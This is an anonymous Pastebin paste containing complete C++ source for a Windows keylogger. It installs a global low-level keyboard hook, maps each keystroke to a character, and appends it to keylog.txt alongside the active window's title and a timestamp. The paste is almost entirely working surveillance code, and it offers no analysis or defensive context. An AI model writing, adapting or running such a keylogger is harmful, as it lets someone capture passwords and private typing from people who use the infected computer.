Guest User

Untitled

a guest
Jul 28th, 2021
62
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <Windows.h>
  2. #include <time.h>
  3. #include <iostream>
  4. #include <fstream>
  5.  
  6. #pragma warning(disable:4996)
  7.  
  8. using namespace std;
  9.  
  10. int Save(int key);
  11.  
  12. LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam);
  13.  
  14. HHOOK hook;
  15.  
  16. KBDLLHOOKSTRUCT kbStruct;
  17.  
  18. ofstream file;
  19.  
  20.  
  21. int Save(int key)
  22. {
  23.     char prevProg[256];
  24.    
  25.     if (key == 1 || key == 2)
  26.     {
  27.         return 0;
  28.     }
  29.  
  30.     HWND foreground = GetForegroundWindow();
  31.  
  32.     DWORD threadId;
  33.  
  34.     HKL keyboardLayout;
  35.  
  36.     if (foreground)
  37.     {
  38.         threadId = GetWindowThreadProcessId(foreground, NULL);
  39.  
  40.         keyboardLayout = GetKeyboardLayout(threadId);
  41.  
  42.         char crrProg[256];
  43.  
  44.         GetWindowText(foreground, crrProg, 256);
  45.  
  46.         if (strcmp(crrProg, prevProg) != 0)
  47.         {
  48.             strcpy_s(prevProg, crrProg);
  49.  
  50.             time_t t = time(NULL);
  51.  
  52.             struct tm* tm = localtime(&t);
  53.  
  54.             char c[64];
  55.  
  56.             strftime(c, sizeof(c), "%c", tm);
  57.  
  58.             file << "\n\n\n[Program: " << crrProg << "DateTime: " << c << "]";
  59.         }
  60.     }
  61.  
  62.     cout << key << endl;
  63.  
  64.     if (key == VK_BACK)
  65.         file << "BACKSPACE";
  66.     else if (key == VK_RETURN)
  67.         file << "\n";
  68.     else if (key == VK_SPACE)
  69.         file << " ";
  70.     else if (key == VK_TAB)
  71.         file << "[TAB]";
  72.     else if (key == VK_SHIFT || key == VK_LSHIFT)
  73.         file << "[SHIFT]";
  74.     else if (key == VK_CONTROL || key == VK_LCONTROL)
  75.         file << "[CTRL]";
  76.     else if (key == VK_ESCAPE)
  77.         file << "[ESC]";
  78.     else if (key == VK_END)
  79.         file << "[END]";
  80.     else if (key == VK_HOME)
  81.         file << "[HOME]";
  82.     else if (key == VK_LEFT)
  83.         file << "[LEFT]";
  84.     else if (key == VK_RIGHT)
  85.         file << "[RIGHT]";
  86.     else if (key == VK_UP)
  87.         file << "[UP]";
  88.     else if (key == VK_DOWN)
  89.         file << "[DOWN]";
  90.     else if (key == 190 || key == 110)
  91.         file << ".";
  92.     else if (key == 189 || key == 109)
  93.         file << "-";
  94.     else if (key == 20)
  95.         file << "[CAPS]";
  96.     else
  97.     {
  98.         char crrKey;
  99.  
  100.         bool lower = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
  101.  
  102.         if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 ||
  103.             (GetKeyState(VK_LSHIFT) & 0x1000) != 0 ||
  104.             (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
  105.         {
  106.             lower = !lower;
  107.         }
  108.  
  109.         crrKey = MapVirtualKeyEx(key, MAPVK_VK_TO_CHAR, keyboardLayout);
  110.  
  111.         if (!lower)
  112.         {
  113.             crrKey = tolower(crrKey);
  114.         }
  115.  
  116.         file << char(crrKey);
  117.     }
  118.  
  119.     file.flush();
  120.  
  121.     return 0;
  122. }
  123.  
  124. LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
  125. {
  126.     if (nCode >= 0)
  127.     {
  128.         if (wParam == WM_KEYDOWN)
  129.         {
  130.             kbStruct = *((KBDLLHOOKSTRUCT*)lParam);
  131.  
  132.             Save(kbStruct.vkCode);
  133.         }
  134.     }
  135.  
  136.     return CallNextHookEx(hook, nCode, wParam, lParam);
  137. }
  138.  
  139. int main()
  140. {
  141.     file.open("keylog.txt", ios_base::app);
  142.  
  143.     ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1);
  144.  
  145.     if (!(hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
  146.     {
  147.         MessageBox(NULL, "Something has gone wrong!", "Error", MB_ICONERROR);
  148.     }
  149.  
  150.     MSG message;
  151.  
  152.     while (true)
  153.     {
  154.         GetMessage(&message, NULL, 0, 0);
  155.     }
  156. }
RAW Paste Data